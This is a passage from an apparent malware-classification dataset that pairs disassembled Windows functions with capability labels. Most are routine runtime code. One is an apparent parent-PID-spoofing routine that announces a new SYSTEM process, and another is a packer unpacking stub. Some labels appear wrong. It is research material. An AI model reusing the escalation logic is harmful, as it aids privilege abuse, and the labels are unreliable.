joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140010ed0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10b8
call fcn.14002c830
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1020], xmm6
mov qword [rbp + 0x1018], 0xfffffffffffffffe
mov qword [rbp + 0x1008], rdx
mov r15, rcx
lea r12, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xorps xmm6, xmm6
lea r13, [rbp + 0xffc]
lea rbx, [0x140016d30]
lea r14, [rbp + 0xfb0]
mov rsi, qword [sym.imp.kernel32.dll_WriteFileEx]
mov rdi, qword [sym.imp.kernel32.dll_SleepEx]
mov qword [rbp + 0x1010], r15
mov r8d, 0x1000
mov rcx, r15
mov rdx, r12
call case.0x14000f605.124
mov r15, rdx
mov qword [rbp + 0xfd8], rax
mov qword [rbp + 0xfe0], rdx
test rax, rax
jne 0x1400110c0
test r15, r15
je 0x14001108c
cmp r15, 0x1000
ja 0x1400110e2
xor r12d, r12d
nop word cs:[rax + rax]
mov r8d, r15d
sub r8d, r12d
lea rdx, [r12 + rbp]
add rdx, 0xffffffffffffffb0
mov dword [rbp + 0xffc], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r13
mov qword [rsp + 0x20], rbx
mov rcx, qword [rbp + 0x1008]
mov r9, r14
call rsi
test eax, eax
je 0x140011060
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call rdi
cmp dword [rbp + 0xffc], 0
je 0x140010ff0
mov ecx, dword [rbp + 0x1000]
mov eax, dword [rbp + 0x1004]
mov rdx, rcx
shl rdx, 0x20
or rdx, 2
xor r8d, r8d
test ecx, ecx
setne r8b
cmove rdx, rax
mov qword [rbp + 0xfe8], r8
mov qword [rbp + 0xff0], rdx
jne 0x140011080
add r12, rax
cmp r12, r15
je 0x140011050
jbe 0x140010fa0
jmp 0x1400110ce
mov r15, qword [rbp + 0x1010]
lea r12, [rbp - 0x50]
jmp 0x140010f4e
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0xfe8], 1
mov qword [rbp + 0xff0], rax
lea rcx, [rbp + 0xff0]
call fcn.140005b90
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1010]
call rsi
mov rcx, qword [rbp + 0x1008]
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0xfe0]
call fcn.140005b90
jmp 0x14001108c
lea r8, str.library_std_src_syspalwindowspipe.rs
mov rcx, r12
mov rdx, r15
call fcn.14002e650
jmp 0x1400110f6
lea r8, str.library_std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, r15
call fcn.14002e640
ud2
Function at 0x140015170
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140032728]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x1400151a8
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x1400151ff
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0xc0000011
jne 0x14001520c
xor edx, edx
xor eax, eax
jmp 0x140015236
cmp eax, 0x103
je 0x140015240
test eax, eax
js 0x14001521f
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x140015236
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [0x140032788]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.14000cff0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140006200
mov ecx, 7
int 0x29
ud2

Function at 0x140015290
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140032728]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x1400152c8
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140015326
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x140015353
test eax, eax
js 0x140015332
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x140015349
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, [0x140032788]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.14000cff0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140006200
mov ecx, 7
int 0x29
ud2
Function at 0x140017220
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140017390
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
jne 0x14001725d
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x140017355
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x140017373
sub rax, rdx
add rdx, qword [rbx + 8]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rbp + 4], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rbp + 4]
mov r8d, eax
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x1400172bc
mov eax, dword [rbp + 4]
mov ecx, 2
test rax, rax
je 0x1400172ff
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x140017303
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x40], rax
movabs rcx, 0xffffffff00000000
and rcx, rax
movabs rdx, 0x6d00000000
cmp rcx, rdx
je 0x140017307
movabs rdx, 0x3e500000000
cmp rcx, rdx
jne 0x140017331
lea rax, [rbp - 8]
jmp 0x140017313
mov byte [rsi + 1], 0
xor eax, eax
jmp 0x140017337
mov qword [rbp - 8], 1
lea rax, [rbp - 0x10]
mov qword [rax], 0
lea rcx, [rbp - 0x40]
call fcn.140005b90
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
cmp rcx, 2
jne 0x140017342
mov qword [rsi + 8], rax
mov al, 1
mov byte [rsi], al
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
test rcx, rcx
jne 0x1400172a5
mov ecx, 1
jmp 0x1400172af
mov r8d, 0x10
mov rcx, rbx
call fcn.14002d720
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x14001726a
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.14002d720
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x14001726a
mov qword [rbp - 0x40], 0
lea rdx, [rbp - 0x40]
mov rcx, rdi
call fcn.14002d540
int3
Function at 0x14002b390
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14002b41a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14002b410
cmp r11, r10
ja 0x14002b496
cmp r10, rdx
ja 0x14002b4a8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x14002b412
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14002b3f0
jmp 0x14002b477
ja 0x14002b41a
mov r11, r10
cmp rax, r8
jne 0x14002b3b7
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14002b47b
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14002b450
mov r8, r10
sub ecx, r9d
jns 0x14002b46e
jmp 0x14002b47d
cmp r10, rdx
je 0x14002b48a
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14002b47d
xor al, 1
cmp r8, rdx
jne 0x14002b430
jmp 0x14002b47d
xor eax, eax
jmp 0x14002b47d
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14002e1f0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14002e650
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14002e640
int3

Function at 0x14002cd64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14002cdae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002cdae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002cdae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002cdae
cmp dword [rcx + 0x84], 0xe
jbe 0x14002cdae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002cdb0
xor al, al
add rsp, 0x28
ret
Function at 0x1401538b0
Capabilities:
Terminate process

Disassembly:
nop
push rcx
invalid
cld
pop r11
jmp 0x1401538bd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401538cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401538b5
lea eax, [rcx + 1]
jmp 0x1401538db
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401538ee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401538d4
sub eax, 3
jb 0x14015390e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14015395d
sar eax, 1
movsxd rbp, eax
jb 0x140153944
jmp 0x14015391c
add ebx, ebx
jne 0x14015391a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140153944
inc ecx
add ebx, ebx
jne 0x14015392a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140153944
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14015393d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14015392c
add ecx, 2
jmp 0x140153949
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140153872
jmp 0x1401538bd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x110c00
mov dl, 0x21
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401539a9
cmp rsi, rcx
jae 0x1401539b1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140153990
cmp al, 0x8f
ja 0x140153990
cmp byte [rsi - 2], 0xf
je 0x140153996
sub al, 0xe8
cmp al, 1
ja 0x14015397a
cmp rsi, rcx
jae 0x1401539b1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140153980
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401539b1
lodsb al, byte [rsi]
jmp 0x140153990
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x14f000]
mov eax, dword [rdi]
or eax, eax
je 0x140153a1a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x157720]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401539be
jns 0x1401539f3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1401539fd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140153a14
mov qword [rbx], rax
add rbx, 8
jmp 0x1401539de
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140153a72
sub rsp, 0xffffffffffffff80
jmp 0x1400fef2c
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x1400148f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011217
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140011880
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400240a3]
call fcn.1400113cf
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140011307
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xc8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x78], rax
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov dword [rbp + 0x10], 0x70
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jne 0x1400119dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_creating_new_process___d__n
call fcn.1400111a4
mov eax, 3
jmp 0x1400119ea
lea rcx, str.Enjoy_your_new_SYSTEM_process_n
call fcn.1400111a4
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ae00]
call fcn.14001135c
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140011294
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140011d00
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x488]
mov rax, qword [0x14001e040]
xor rax, rbp
mov qword [rbp + 0x438], rax
mov byte [rbp + 0x424], 0
lea rcx, [0x1400240a3]
call fcn.1400113cf
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111ae
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x288]
call fcn.14001124e
cmp eax, 1
jne 0x140011dbd
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x288]
call fcn.14001137f
cmp eax, 1
jne 0x140011dbd
mov rdx, qword [rbp + 0x460]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140011dbb
mov byte [rbp + 0x424], 1
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x264], eax
jmp 0x140011dbd
jmp 0x140011d7f
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbp + 0x424], 0
jne 0x140011ddf
lea rcx, [0x14001acb0]
call fcn.1400110a0
mov eax, dword [rbp + 0x264]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad00]
call fcn.14001135c
mov eax, edi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret
Function at 0x2fc4c39f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4c4ab0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4c43f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4e8108]
test eax, eax
je 0x2fc4c448a
lea rax, [0x2fc4e80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4e8110]
mov qword [rbp - 8], rax
jmp 0x2fc4c446e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c4462
cmp qword [rbp - 0x10], 0
je 0x2fc4c4462
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c4428
lea rax, [0x2fc4e80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c448b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c4590
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c45b8
mov eax, 0
jmp 0x2fc4c4606
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c45e1
mov eax, 0
jmp 0x2fc4c4606
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c4601
mov eax, 0
jmp 0x2fc4c4606
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c460c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c468a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c4681
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c4681
mov rax, qword [rbp - 8]
jmp 0x2fc4c469f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c4654
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140008ba0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x1401ac0e0]
xor r15d, r15d
mov ebp, ecx
mov r14d, r15d
mov rsi, qword [rdi + 0x3ed0]
test cl, 0x10
jne 0x140008d2f
mov ebx, dword [rdi + 0x476c]
test ebx, ebx
je 0x140008c17
cmp dword [rdi + 0x3f30], ebx
jne 0x140008d28
mov eax, dword [rdi + 0x3f5c]
cmp eax, 0xffffffff
cmove eax, r15d
movsxd r15, eax
cmp byte [r15 + rdi + 0xe04], r14b
je 0x140008d28
cmp byte [rsi + 0xb3], r14b
jmp 0x140008cd0
cmp byte [rdi + 0xe04], r14b
je 0x140008d28
cmp byte [rsi + 0xb3], r14b
jne 0x140008d28
test byte [rdi + 0x4774], 1
jne 0x140008c54
cmp dword [rdi + 0x3f30], r14d
je 0x140008d28
cmp qword [rdi + 0x3f50], rsi
jne 0x140008d28
test bpl, 8
je 0x140008d28
lea rdx, [rdi + 0x4778]
mov rcx, rsi
call fcn.14000dd60
mov ebx, eax
mov dword [rdi + 0x476c], eax
mov rax, qword [0x1401ac0e0]
cmp dword [rax + 0x3f30], ebx
jne 0x140008c8a
mov dword [rax + 0x3f34], ebx
cmp dword [rax + 0x3f60], ebx
jne 0x140008c99
mov byte [rax + 0x3f64], 1
mov edx, ebx
lea rcx, [rdi + 0x4778]
call fcn.1400108d0
movzx r14d, al
test al, al
je 0x140008cca
cmp byte [rdi + 0x3738], r15b
je 0x140008cca
mov rdx, rsi
mov ecx, ebx
call fcn.14001a2a0
mov rcx, rsi
call fcn.14000d5f0
cmp dword [rdi + 0x3f30], ebx
jne 0x140008d28
mov byte [rdi + 0x3f3d], r14b
movsxd rcx, dword [rsi + 0xe8]
mov rax, qword [rsi + 0xf0]
mov r14d, dword [rax + rcx*4 - 4]
mov rax, qword [0x1401ac0e0]
movsxd rcx, r15d
cmp byte [rcx + rax + 0xe04], 0
jne 0x140008d05
xor sil, sil
jmp 0x140008d1e
movss xmm1, dword [rax + 0x38]
movss xmm0, dword [rax + rcx*4 + 0x3790]
mulss xmm1, xmm1
comiss xmm0, xmm1
setae sil
call fcn.14001a3f0
test sil, sil
jne 0x140008d82
xor al, al
jmp 0x140008e22
mov r9d, 0xffffffff
lea rdx, [0x1400d48c1]
mov ebx, r9d
lea r10, [0x1400d3140]
mov r8b, reloc.WLDAP32.dll_Ordinal_35
nop dword [rax]
cmp r8b, 0x23
jne 0x140008d63
cmp byte [rdx], r8b
jne 0x140008d63
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x140008d50
not ebx
cmp byte [rdi + 0x4a5c], 0
jne 0x140008dc0
call fcn.14000a560
mov dword [rdi + 0x4a7c], ebx
mov dword [rdi + 0x4a80], r14d
mov byte [rdi + 0x4a5c], 1
mov dword [rdi + 0x4a60], ebp
mov dword [rdi + 0x4a68], r15d
cmp ebx, dword [rdi + 0x3f30]
jne 0x140008dc0
mov byte [rdi + 0x3f3e], 1
mov eax, dword [rdi + 0x3e50]
mov dword [rdi + 0x4a64], eax
mov byte [rdi + 0x4a5d], 1
test bpl, 1
jne 0x140008e13
xor edx, edx
xor ecx, ecx
call fcn.1400091d0
cmp dword [rdi + 0x4ad0], 0
je 0x140008e13
test dword [rdi + 0x4ac4], 0x1000
je 0x140008e13
mov rax, qword [rdi + 0x3ed0]
mov byte [rax + 0xb3], 1
mov byte [rax + 0xb5], 1
mov byte [rax + 0xd0], 1
test bpl, 0x12
jne 0x140008e20
and dword [rdi + 0x4774], 0xfffffffe
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret